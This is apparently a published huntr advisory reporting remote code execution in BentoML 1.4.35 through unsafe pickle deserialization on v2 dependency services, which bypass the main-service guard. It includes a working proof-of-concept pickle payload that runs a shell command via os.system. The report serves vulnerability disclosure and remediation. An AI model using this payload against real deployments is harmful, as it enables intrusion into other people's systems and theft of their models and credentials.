# Unsafe Pickle Deserialization on Dependency Services Allows Remote Code Execution ## meta platform: huntr program: BentoML asset: https://github.com/bentoml/BentoML date: 2026-02-12 status: PUBLISHED published_date: 2026-02-15 ```` Repository URL: https://github.com/bentoml/BentoML Package Manager: pip Version Affected: 1.4.35 Vulnerability Type: Deserialization of Untrusted Data CVSS: - Attack Vector: Adjacent - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: High Title: Unsafe pickle deserialization on dependency services bypasses is_main guard enabling RCE Description: # Description BentoML's v2 service architecture supports multi-service deployments where an entry (main) service delegates to dependency services. The `ServiceAppFactory` class in `src/_bentoml_impl/server/app.py` handles HTTP requests for both service types. A security guard at line 775 blocks `application/vnd.bentoml+pickle` Content-Type, but it is conditional on `self.is_main`: if self.is_main and media_type == "application/vnd.bentoml+pickle": raise BentoMLException(...) Dependency services are always instantiated with `is_main=False` (see `worker/service.py:207`), so they bypass this guard entirely. When a pickle Content-Type request reaches a dependency service, `PickleSerde` is selected from `ALL_SERDE`, and `deserialize_value()` at `serde.py:274` calls `pickle.loads()` directly on the raw HTTP body with no sanitization. In Kubernetes/Yatai production deployments, dependency services run as separate pods with TCP endpoints accessible within the cluster network. Any compromised or malicious pod in the same namespace can send a crafted pickle payload to achieve arbitrary code execution. **This is NOT a duplicate of CVE-2025-32375**, which covers the v1 architecture's `RunnerAppFactory` in `bentoml/_internal/server/runner_app.py`. This finding targets the v2 architecture's `ServiceAppFactory` and `PickleSerde` -- a completely different code path and different service type. # Proof of Concept ## Setup 1. Install BentoML v1.4.35: pip install bentoml==1.4.35 2. Create a multi-service application: **dependency_service.py:** import bentoml @bentoml.service(name="dependency_svc") class DependencyService: @bentoml.api def predict(self, data: dict) -> dict: return {"result": "processed"} **main_service.py:** import bentoml from dependency_service import DependencyService @bentoml.service(name="main_svc") class MainService: dep = bentoml.depends(DependencyService) @bentoml.api def classify(self, data: dict) -> dict: return self.dep.predict(data) 3. Start the service: bentoml serve main_service:MainService 4. Identify the dependency service port from logs, then send exploit: import pickle, os, requests class Exploit: def __reduce__(self): return (os.system, ('id > /tmp/bentoml_rce_proof',)) payload = pickle.dumps(Exploit(), protocol=5) resp = requests.post( "http://:/predict", data=payload, headers={"Content-Type": "application/vnd.bentoml+pickle"}, ) # Check /tmp/bentoml_rce_proof on the target machine The `id` command output will be written to `/tmp/bentoml_rce_proof`, confirming code execution. Impact: This vulnerability is capable of allowing an attacker with network access to a BentoML dependency service (e.g., from an adjacent pod in a Kubernetes cluster) to achieve arbitrary code execution on the dependency worker. This grants access to ML models, training data, cloud credentials, and enables lateral movement within the cluster. Occurrences: - Permalink: https://github.com/bentoml/BentoML/blob/cd8995cc95962727dde946e48bd2cd4c43fa694a/src/_bentoml_impl/server/app.py#L774-L779 Description: The pickle Content-Type guard is gated behind `self.is_main`, meaning dependency services (`is_main=False`) skip this check entirely and allow pickle deserialization. - Permalink: https://github.com/bentoml/BentoML/blob/cd8995cc95962727dde946e48bd2cd4c43fa694a/src/_bentoml_impl/serde.py#L272-L284 Description: `PickleSerde.deserialize_value()` calls `pickle.loads()` on raw HTTP request body data with zero sanitization. This is the deserialization sink reachable from any unguarded service endpoint. - Permalink: https://github.com/bentoml/BentoML/blob/cd8995cc95962727dde946e48bd2cd4c43fa694a/src/_bentoml_impl/worker/service.py#L188-L207 Description: Dependency services are started with `is_main=False` (line 207 sets `is_main` based on `service_type == "entry_service"`), which means they never trigger the pickle Content-Type block. References: - https://cwe.mitre.org/data/definitions/502.html (CWE-502) - https://nvd.nist.gov/vuln/detail/CVE-2025-32375 (Prior CVE for v1 runner_app.py -- different code path) - https://docs.python.org/3/library/pickle.html#restricting-globals (Python pickle security warning) ````